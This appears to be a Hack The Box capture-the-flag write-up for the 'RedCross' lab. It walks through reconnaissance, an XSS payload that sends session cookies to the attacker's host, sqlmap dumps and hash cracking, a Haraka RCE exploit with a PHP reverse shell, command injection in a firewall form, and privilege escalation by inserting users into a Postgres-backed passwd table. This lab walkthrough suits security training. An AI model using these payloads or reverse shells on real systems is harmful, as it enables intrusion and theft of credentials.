HTB – RedCross

Today we are going to solve another CTF challenge “RedCrossl”. a retired vulnerable lab presented by Hack the Box for helping pen-testers to perform online penetration testing according to their experience. They have a collection of vulnerable labs as challenges; ranging from beginners to expert level.

Level: Medium

Task: To find user.txt and root.txt file

As always we start with a nmap scan.

root@kali# nmap -sT -p- --min-rate 10000 -oA nmap/alltcp 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-16 06:32 EST
Nmap scan report for 10.10.10.113
Host is up (0.020s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 13.45 second

root@kali# nmap -sU -p- --min-rate 10000 -oA nmap/alludp 10.10.10.113

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-16 06:33 EST
Nmap scan report for 10.10.10.113
Host is up (0.020s latency).
All 65535 scanned ports on 10.10.10.113 are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds

root@kali# nmap -sV -oA nmap/versions 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 10:54 EDT
Nmap scan report for intra.redcross.htb (10.10.10.113)
Host is up (0.019s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.25
443/tcp open  ssl/http Apache httpd 2.4.25
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.00 seconds

I’m not able to run my normal nmap run with scripts, as it just runs forever. There is some indication there’s a WAF blocking it. I can run just the -sV for version. Based on the Apache version and the OpenSSH version, this is Debian Stretch (or Debian 9).

intra.redcross.htb – TCP 443

Site

A GET to http://10.10.10.113 returns a 301 redirect to https://intra.redcross.htb. Once I add the domain to my hosts file, and I’m on the https site, I’m redirected to https://intra.redcross.htb/?page=login and presented with a log in to RedCross Messaging Intranet:

1554217462312

Based on the url structure (?page=login), I’m guessing this might be a php site. I’ll try visiting https://intra.redcross.htb/index.php?page=login and confirm it’s the same.

gobuster

My initial gobuster turns up a couple pages and a few folders:

root@kali# gobuster -k -u https://intra.redcross.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 40

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://intra.redcross.htb/
[+] Threads      : 40
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
=====================================================
2018/11/16 06:52:12 Starting gobuster
=====================================================
/index.php (Status: 302)
/images (Status: 301)
/pages (Status: 301)
/documentation (Status: 301)
/javascript (Status: 301)
/init.php (Status: 200)
=====================================================
2018/11/16 07:01:17 Finished
=====================================================

After not finding a ton more, I decided to look for document extensions in /documentation, and I found one:

root@kali# gobuster -k -u https://intra.redcross.htb/documentation -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,pdf -t 20

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://intra.redcross.htb/documentation/
[+] Threads      : 20
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : txt,php,html,pdf
[+] Timeout      : 10s
=====================================================
2018/11/16 07:04:58 Starting gobuster
=====================================================
/account-signup.pdf (Status: 200)
=====================================================
2018/11/16 07:44:58 Finished
=====================================================

Contact Form

The pdf from gobuster gives me instructions on how to request access:

1554218526494

Visiting that url, I get a contact form:

1554236429254

I’ll be coming back this form, both to request an account and exploit an XSS vulnerability in it.

admin.redcross.htb – TCP 443

wfuzz Subdomains

Any time I have a box pushing me to a hostname instead of just using the IP, I like to wfuzz for subdomains:

root@kali# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-20000.txt -u https://10.10.10.113 -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.                                                                  

********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: https://10.10.10.113/
Total requests: 19983

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

000024:  C=302      0 L       18 W          363 Ch        "admin"
000373:  C=302      0 L       26 W          463 Ch        "intra"

Total time: 63.43666
Processed Requests: 19983
Filtered Requests: 19977
Requests/sec.: 315.0071

I already knew about intra, but admin is new.

Site

Another log in page, this time to the IT Admin panel:

1554219549745

Exploitation Overview

This box has many different paths. I created a flow chart to attempt to show all the paths I found. The chart forms three main pinch points:

  • Access to admin.redcross.htb
  • Shell as penelope (or in penelope’s group)
  • root shell

Exploitation PathClick for full size image

Access to admin.redcross.htb

There are two (with a slight variation between charles and guest in the second) paths to this access:

1554237770386

Path 1: XSS

I did not attack the XSS on my original solve, but in chatting with the machine author, he said this was the intended path to solve this part, as the other two ways I will show were not supposed to work.

In the contact form, at https://intra.redcross.htb/?page=contact, if I try to enter script tags into the subject or the body, I get an error:

1554236901609

That same check does not happen in the “Contact phone or email” text box. I’ll build a simple XSS payload:

<script>new Image().src="http://10.10.14.14:8888/cookie.php?c="+document.cookie;</script>

The script tries to create an image in the HTML with a source of my host that includes the user’s cookies. I’ll start a python web server and submit the tag:

1554236998078

In a few seconds, I get a hit on the webserver:

root@kali# python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.113 - - [02/Apr/2019 16:29:42] code 404, message File not found
10.10.10.113 - - [02/Apr/2019 16:29:42] "GET /cookie.php?c=PHPSESSID=pqap288bkav9od4ga69g0r3os2;%20LANG=EN_US;%20SINCE=1554236439;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -

Now I can take that PHPSESSID over to admin.redcross.htb, and use my Firefox cookie editing plugin to set the cookie:

1554237125748

Now I refresh the page, and I’m logged in as admin:

1554237187933

Create Account

Instead of exploiting the form, I’ll fill it out following the instructions to create an account:

1554219622783

I have firefox set up to not redirect without permission. On hitting submit, the first page that loads is a redirect, but the body says:

1554219664842

On allowing the redirect, I’m back at the main login. And logging in with guest / guest works and drops me at a Account info page:

1554219749998

SQLi

On submitting the UserID filter, I’m sent to https://intra.redcross.htb/?o=1&page=app, where o= is the id filtered on. If I try with a ' in there, https://intra.redcross.htb/?o=1'&page=app:

1554221201416

Just running sqlmap will grind to a halt and break because of the WAF on the box. I’ll look at manual SQLi in Beyond Root. But I can still use sqlmap if I put in --delay=1, which puts a one second delay between each request. That also makes this take forever. I’d recommend running it and walking away:

root@kali# sqlmap -r app.request --delay=1 --batch --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.2.10#stable}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[*] starting at 17:35:40

[17:35:40] [INFO] parsing HTTP request from 'app.request'  
[17:35:40] [INFO] testing connection to the target URL           
sqlmap got a 301 redirect to 'https://intra.redcross.htb/?o=9&page=app'. Do you want to follow? [Y/n] Y
[17:35:41] [INFO] testing if the target URL content is stable
[17:35:42] [WARNING] GET parameter 'o' does not appear to be dynamic
[17:35:43] [INFO] heuristic (basic) test shows that GET parameter 'o' might be injectable (possible DBMS: 'MySQL')
[17:35:44] [INFO] heuristic (XSS) test shows that GET parameter 'o' might be vulnerable to cross-site scripting (XSS) attacks
[17:35:44] [INFO] testing for SQL injection on GET parameter 'o'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...[snip]...
GET parameter 'o' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 354 HTTP(s) requests:
---                                                                       
Parameter: o (GET)                                                           
    Type: boolean-based blind                                         
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: o=9') RLIKE (SELECT (CASE WHEN (1947=1947) THEN 9 ELSE 0x28 END))-- OmFQ&page=app
                                                                             
    Type: error-based                                                        
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: o=9') AND (SELECT 8387 FROM(SELECT COUNT(*),CONCAT(0x7176717671,(SELECT (ELT(8387=8387,1))),0x7170786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vfSo&page=app
                                                              
    Type: AND/OR time-based blind                         
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)      
    Payload: o=9') AND (SELECT * FROM (SELECT(SLEEP(5)))Uqaj)-- eNaD&page=app
---                                                             
[17:43:34] [INFO] the back-end DBMS is MySQL        
web server operating system: Linux Debian 9.0 (stretch)                     
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0                                             
...[snip]...                
Database: redcross                                      
Table: messages
[8 entries]
+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+--------+----------------------------------------------+
| id | body                                                                                                                                                                                         | dest | origin | subject                                      |
+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+--------+----------------------------------------------+
| 1  | You're granted with a low privilege access while we're processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.              | 5    | 1      | Guest Account Info                           |
| 2  | Hi Penny, can you check if is there any problem with the order? I'm not receiving it in our EDI platform.                                                                                    | 2    | 4      | Problems with order 02122128                 |
| 3  | Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! Maybe a virus?                                                   | 3    | 1      | Strange behavior                             |
| 4  | Hi, Please check now... Should be arrived in your systems. Please confirm me. Regards.                                                                                                       | 4    | 2      | Problems with order 02122128                 |
| 5  | Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!!                                           | 2    | 3      | admin subd webapp problems                   |
| 6  | Hi, Yes it's strange because we applied some input filtering on the contact form. Let me check it. I'll take care of that since now! KR                                                      | 3    | 2      | admin subd webapp problems (priority)        |
| 7  | Hi, Please stop checking messages from intra platform, it's possible that there is a vuln on your admin side...                                                                              | 1    | 2      | STOP checking messages from intra (priority) |
| 8  | Sorry but I can't do that. It's the only way we have to communicate with partners and we are overloaded. Doesn't look so bad... besides that what colud happen? Don't worry but fix it ASAP. | 2    | 1      | STOP checking messages from intra (priority) |
+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+--------+----------------------------------------------+
...[snip]...                           
Database: redcross                                                 
Table: users                   
[5 entries]                    
+----+------+------------------------------+----------+--------------------------------------------------------------+
| id | role | mail                         | username | password                                                     |
+----+------+------------------------------+----------+--------------------------------------------------------------+
| 1  | 0    | admin@redcross.htb           | admin    | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. |             
| 2  | 1    | penelope@redcross.htb        | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS |
| 3  | 1    | charles@redcross.htb         | charles  | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i |
| 4  | 100  | tricia.wanderloo@contoso.com | tricia   | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. |
| 5  | 1000 | non@available                | guest    | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi |
+----+------+------------------------------+----------+--------------------------------------------------------------+

[17:45:53] [INFO] table 'redcross.users' dumped to CSV file '/root/.sqlmap/output/intra.redcross.htb/dump/redcross/users.csv'
[17:45:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/intra.redcross.htb'   

[*] shutting down at 17:45:53

Over 10 minutes, I got two interesting things:

  • A set of usernames and hashes.
  • A bunch of messages, including references to the admin panel (if I hadn’t looked for subdomains yet, a queue to do so) and references to interaction between intra and admin.

Crack Passwords

These passwords are bcrypt, and would take several days to brute all of rockyou on my computer. However, one cracks really quickly:

$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --force
hashcat (v4.0.1) starting...
...[snip]...
$ cat cracked 
$2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i:cookiemonster
$ grep -F 'y$10$bj5Qh0AbU' hashes 
charles:$2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i

The charles account has the password “cookiemonster”.

Access to admin

I can log into intra now as charles, and see more messages (nothing new from what I saw in the sqli):

1554222384836

I’ll try those same creds on admin.redcross.htb:

1554221051340

And then redirects me to the login page. In fact, if I log in to admin.redcross.htb as guest/guest, it returns the same.

However, if I take the cookie of guest or charles intra and set it as the PHPSESSID for admin, it works. I’ll go to the intra site logged in as charles and open my “Cookie Editor” Firefox plugin:

1554222576171

I’ll grab that cookie value, and then switch over to admin, where I can paste in the copies PHPSESSID and hit save. On refresh, I’m logged in as charles:

1554222642287

The same technique works with the guest cookie, meaning I could have skipped the SQLi all together.

Shell as Penelope

Overview

From this point, there are two paths to a penelope shell, with a few optional steps in the second:

1554237849831

Open Firewall

Both paths start using the access to admin.redcross.htb to open up more ports in the firewall.

At the main page, I’ll hit “Network Access”:

1554224533998

If I enter my IP and click the button, I’m first taken to:

1554224575557

And then redirected back to the page:

1554224592269

If I re-run nmap now, I see a couple new ports, ftp (21), something on 1025, and Postgres on 5432:

root@kali# nmap -p- --min-rate 5000 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 12:33 EDT
Nmap scan report for intra.redcross.htb (10.10.10.113)
Host is up (0.021s latency).       
Not shown: 65529 closed ports                
PORT     STATE SERVICE                                       
21/tcp   open  ftp                                   
22/tcp   open  ssh                                         
80/tcp   open  http     
443/tcp  open  https         
1025/tcp open  NFS-or-IIS          
5432/tcp open  postgresql
                                                 
Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

Path 1: Haraka

Enumeration

I’ll notice when I got increased network access, port 1025 was now listening. nmap didn’t identify it, but a patient nc connection will:

root@kali# nc 10.10.10.113 1025
220 redcross ESMTP Haraka 2.8.8 ready
421 timeout  

Exploit

There’s an exploit for this version of Haraka:

root@kali# searchsploit haraka
------------------------------------------- ----------------------------------------
 Exploit Title                             |  Path
                                           | (/usr/share/exploitdb/)
------------------------------------------- ----------------------------------------
Haraka < 2.8.9 - Remote Command Execution  | exploits/linux/remote/41162.py
------------------------------------------- ----------------------------------------
Shellcodes: No Result

I used this script without modification. First, I got the target to ping me:

[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [Error unpacking archive]                                                                                            
root@kali# python 41162.py -c "ping -c 1 10.10.14.14" -t penelope@redcross.htb -m 10.10.10.113                                                                                          
##     ##    ###    ########     ###    ##    ## #### ########  ####
##     ##   ## ##   ##     ##   ## ##   ##   ##   ##  ##     ##  ##
##     ##  ##   ##  ##     ##  ##   ##  ##  ##    ##  ##     ##  ##
######### ##     ## ########  ##     ## #####     ##  ########   ##
##     ## ######### ##   ##   ######### ##  ##    ##  ##   ##    ##
##     ## ##     ## ##    ##  ##     ## ##   ##   ##  ##    ##   ##
##     ## ##     ## ##     ## ##     ## ##    ## #### ##     ## ####

-o- by Xychix, 26 January 2017 ---
-o- xychix [at] hotmail.com ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --

-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)

Send harariki to penelope@redcross.htb, attachment saved as harakiri-20190403-125438.zip, commandline: ping -c 1 10.10.14.14 , mailserver 10.10.10.113 is used for delivery
...[snip]...

After a about one minute, I got a ping back:

root@kali# tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
12:55:36.153998 IP 10.10.10.113 > 10.10.14.14: ICMP echo request, id 13394, seq 1, length 64
12:55:36.154033 IP 10.10.14.14 > 10.10.10.113: ICMP echo reply, id 13394, seq 1, length 64

I had a hard time with a lot of common reverse shells, but I got the php one to work. It’s important to escape the inner " and $:

root@kali# python 41162.py -c "php -r '\$sock=fsockopen(\"10.10.14.14\",443);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" -t penelope@redcross.htb -m 10.10.10.113                              
##     ##    ###    ########     ###    ##    ## #### ########  ####
##     ##   ## ##   ##     ##   ## ##   ##   ##   ##  ##     ##  ##
##     ##  ##   ##  ##     ##  ##   ##  ##  ##    ##  ##     ##  ##
######### ##     ## ########  ##     ## #####     ##  ########   ##
##     ## ######### ##   ##   ######### ##  ##    ##  ##   ##    ##
##     ## ##     ## ##    ##  ##     ## ##   ##   ##  ##    ##   ##
##     ## ##     ## ##     ## ##     ## ##    ## #### ##     ## ####

-o- by Xychix, 26 January 2017 ---
-o- xychix [at] hotmail.com ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --

-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)

Send harariki to penelope@redcross.htb, attachment saved as harakiri-20190403-125710.zip, commandline: php -r '$sock=fsockopen("10.10.14.14",443);exec("/bin/sh -i <&3 >&3 2>&3");' , mailserver 10.10.10.113 is used for delivery

And after a minute:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.113.
Ncat: Connection from 10.10.10.113:35862.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)

Metasploit

Alternatively, there is a metasploit module that also worked. Here’s my configuration:

msf5 exploit(linux/smtp/haraka) > options

Module options (exploit/linux/smtp/haraka):

   Name        Current Setting        Required  Description
   ----        ---------------        --------  -----------
   SRVHOST     0.0.0.0                yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0                                                                                       
   SRVPORT     8008                   yes       The local port to listen on.
   SSL         false                  no        Negotiate SSL for incoming connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)                                                                                                           
   URIPATH                            no        The URI to use for this exploit (default is random)
   email_from  0xdf@redcross.htb      yes       Address to send from
   email_to    penelope@redcross.htb  yes       Email to send to, must be accepted by the server
   rhost       10.10.10.113           yes       Target server
   rport       1025                   yes       Target server port


Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   linux x64

Now run it to get a shell as actual penelope:

msf5 exploit(linux/smtp/haraka) > run

[*] Started reverse TCP handler on 10.10.14.14:443
[*] Exploiting...
[*] Using URL: http://0.0.0.0:8008/PxA0ZIx
[*] Local IP: http://10.1.1.41:8008/PxA0ZIx
[*] Sending mail to target server...
[*] Client 10.10.10.113 (Wget/1.18 (linux-gnu)) requested /PxA0ZIx
[*] Sending payload to 10.10.10.113 (Wget/1.18 (linux-gnu))
[*] Command shell session 1 opened (10.10.14.14:443 -> 10.10.10.113:47192) at 2019-04-02 14:35:27 -0400
[+] Triggered bug in target server (plugin timeout)
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.
id
uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)

Path 2.1: Shell As www-data

Allow Network and Add User

Having already opened up the firewall above, now I’ll click the other link, User Management:

1554224440808

If I enter “0xdf” and hit “adduser”, I’m taken to a page with a password:

1554224465587

And hitting “Continue” takes me back to the page where my user now is:

1554224490178

Find iptctl.c

I can now connect to the box via ftp or ssh with my new account. FTP is rooted out of the /home directory I can see from ssh. Since it’s just a subset, I’ll focus on ssh.

The ssh access is strange. I knew from the time it let me create a username that started with a digit that it wasn’t going to be a normal box account.

$ id
uid=2021 gid=1001(associates) groups=1001(associates)
$ whoami
whoami: cannot find name for user ID 2021
$ cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash
penelope:x:1000:1000:Penelope,,,:/home/penelope:/bin/bash
$ ps aux
-bash: ps: command not found

Clearly I’m in some kind of jail. I’ll come back to that later.

For now, the only interesting thing I can find is in /home/public/src/iptctl.c:

/*
 * Small utility to manage iptables, easily executable from admin.redcross.htb
 * v0.1 - allow and restrict mode
 * v0.3 - added check method and interactive mode (still testing!)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#define BUFFSIZE 360

int isValidIpAddress(char *ipAddress)
{
        struct sockaddr_in sa;
        int result = inet_pton(AF_INET, ipAddress, &(sa.sin_addr));
        return result != 0;
}

int isValidAction(char *action){
        int a=0;
        char value[10];
        strncpy(value,action,9);
        if(strstr(value,"allow")) a=1;
        if(strstr(value,"restrict")) a=2;
        if(strstr(value,"show")) a=3;
        return a;
}

void cmdAR(char **a, char *action, char *ip){
        a[0]="/sbin/iptables";
        a[1]=action;
        a[2]="INPUT";
        a[3]="-p";
        a[4]="all";
        a[5]="-s";
        a[6]=ip;
        a[7]="-j";
        a[8]="ACCEPT";
        a[9]=NULL;
        return;
}

void cmdShow(char **a){
        a[0]="/sbin/iptables" ;
        a[1]="-L";
        a[2]="INPUT";
        return;
}

void interactive(char *ip, char *action, char *name){
        char inputAddress[16];
        char inputAction[10];
        printf("Entering interactive mode\n");
        printf("Action(allow|restrict|show): ");
        fgets(inputAction,BUFFSIZE,stdin);
        fflush(stdin);
        printf("IP address: ");
        fgets(inputAddress,BUFFSIZE,stdin);
        fflush(stdin);
        inputAddress[strlen(inputAddress)-1] = 0;
        if(! isValidAction(inputAction) || ! isValidIpAddress(inputAddress)){
                printf("Usage: %s allow|restrict|show IP\n", name);
                exit(0);
        }
        strcpy(ip, inputAddress);
        strcpy(action, inputAction);
        return;
}

int main(int argc, char *argv[]){
        int isAction=0;
        int isIPAddr=0;
        pid_t child_pid;
        char inputAction[10];
        char inputAddress[16];
        char *args[10];
        char buffer[200];

        if(argc!=3 && argc!=2){
                printf("Usage: %s allow|restrict|show IP_ADDR\n", argv[0]);
                exit(0);
        }
        if(argc==2){
                if(strstr(argv[1],"-i")) interactive(inputAddress, inputAction, argv[0]);
        }
        else{
                strcpy(inputAction, argv[1]);
                strcpy(inputAddress, argv[2]);
        }
        isAction=isValidAction(inputAction);
        isIPAddr=isValidIpAddress(inputAddress);
        if(!isAction || !isIPAddr){
                printf("Usage: %s allow|restrict|show IP\n", argv[0]);
                exit(0);
        }
        puts("DEBUG: All checks passed... Executing iptables");
        if(isAction==1) cmdAR(args,"-A",inputAddress);
        if(isAction==2) cmdAR(args,"-D",inputAddress);
        if(isAction==3) cmdShow(args);

        child_pid=fork();
        if(child_pid==0){
                setuid(0);
                execvp(args[0],args);
                exit(0);
        }
        else{
                if(isAction==1) printf("Network access granted to %s\n",inputAddress);
                if(isAction==2) printf("Network access restricted to %s\n",inputAddress);
                if(isAction==3) puts("ERR: Function not available!\n");
        }
}

Injection RCE

I can see the comment “easily executable from admin.redcross.htb”, and two strings I saw on the webpage when I added my IP to the firewall: “DEBUG: All checks passed… Executing iptables” and “Network access granted to %s\n”. It seems that this c program is being called when I hit submit on that page. I see some potential vulnerabilities in the interactive mode section, but I don’t think the webpage would allow me to get to that area of code. If I think about how the php code is calling this, I wonder if I can do injection at that point. I could even have tested that HTTP post for injection without access to this source code, and skipped most of this path up until now.

I’ll find my previous POST request from when I added my IP in Burp (or create a new one) and send it to repeater. I’ll add a simple check to ping myself, start tcpdump, and then send it. Unfortunately, I get an error:

1554226551246

However, if I try the deny action, I get better results:

1554226592366

And I see it at tcpdump:

root@kali# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:35:48.819332 IP intra.redcross.htb > kali: ICMP echo request, id 16518, seq 1, length 64
13:35:48.819376 IP kali > intra.redcross.htb: ICMP echo reply, id 16518, seq 1, length 64

Since I can see output, I can run other commands:

1554226655779

And I can get a shell using a php rev shell:

1554229271639

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.113.
Ncat: Connection from 10.10.10.113:46998.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I can see user.txt in penelope’s homedir, but I can’t access it:

www-data@redcross:/home/penelope$ cat user.txt 
cat: user.txt: Permission denied

Path 2.2: Shell As “penelope”

Find postgresql Creds

I know that the website can create and manage users for the jail. Looking at the files in the admin dir, actions.php jumps out:

www-data@redcross:/var/www/html/admin/pages$ ls
actions.php  bottom.php  cpanel.php  firewall.php  header.php  login.php  users.php

I’m particularly interested in the code that adds users:

...[snip]...
if($action==='adduser'){                                                                                   
        $username=$_POST['username'];                                             
        $passw=generateRandomString();                       
        $phash=crypt($passw);                   
        $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
        $result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')");                                                                          
        $result = pg_execute($dbconn, "q1", array($username, $phash));
        echo "Provide this credentials to the user:<br><br>";
        echo "<b>$username : $passw</b><br><br><a href=/?page=users>Continue</a>";
}    
...[snip]...

That code contains the username and password of a postgres user that can add users to this system. That will be useful.

Postgresql

Postgres is a bit different if you are used to mysql or mssql. This link is a great cheat sheet of commands to use (it took me a while to find \q to exit).

Since I can see the php code adding users to this database, this must be where access for these temporary users is controlled, as opposed to the typical /etc/passwd and /etc/shadow.

There are multiple sets of creds for the db in this site code:

www-data@redcross:~/html$ grep -r pg_connect .
./admin/pages/firewall.php:     $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
./admin/pages/users.php:        $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw");
./admin/pages/actions.php:      $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
./admin/pages/actions.php:      $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
./admin/pages/actions.php:      $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
./admin/pages/actions.php:      $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");

I’m interested in unixusrmgr because it can add users. I can connect like this:

www-data@redcross:/$ psql -h 127.0.0.1 -U unixusrmgr -p 5432 -d unix
Password for user unixusrmgr: 
psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=>

The passwd_table has the following structure:

unix=> select * from passwd_table;
 username  |               passwd               | uid  | gid  | gecos |    homedir     |   shell
-----------+------------------------------------+------+------+-------+----------------+-----------
 tricia    | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
(1 row)

Additionally, different users for the database can add different parts. For example, unixusrmgr can add users (as seen in the php code and I’ll show more times below), but can’t set the user id:

unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('ro0xdft', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 0, 0, '/root');
ERROR:  permission denied for relation passwd_table

Add User penel0xdf

I’ll add a user with group id that matches penelope, following the model from actions.php. I remember the group id is 1000 from /etc/passwd:

www-data@redcross:/var/www/html/admin/pages$ grep penelope /etc/passwd
penelope:x:1000:1000:Penelope,,,:/home/penelope:/bin/bash

I’ll create a password:

www-data@redcross:/home/penelope$ openssl passwd -1 0xdf
$1$wV7CPbj9$59kAklYgquXe5TuJYIT591

Now I’ll add the user with penelope’s group:

unix=> insert into passwd_table (username, passwd, gid, homedir) values ('penel0xdf', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 1000, '/home/penelope');
INSERT 0 1

Now I can ssh in:

root@kali# ssh penel0xdf@10.10.10.113
penel0xdf@10.10.10.113's password: 
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

penel0xdf@redcross:~$ id
uid=2020(penel0xdf) gid=1000(penelope) groups=1000(penelope)

penel0xdf@redcross:~$ ls
haraka  user.txt

And I can grab user.txt:

penel0xdf@redcross:~$ cat user.txt 
ac899bd4...

Shell As root

From penelope, there are three different paths to getting a shell as the root user:

1554240903953

Path 1: sudoers Group

The method I originally used, and an unintended path was to go back into the database the same as before, and create another user, this time with the sudoers group, which is 27:

dff@redcross:~$ grep sudo /etc/group
sudo:x:27:

Create the user:

unix=> insert into passwd_table (username, passwd, gid, homedir) values ('sud0xdfer', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 27, '/home/penelope');
INSERT 0 1

Now ssh in:

root@kali# ssh sud0xdfer@10.10.10.113
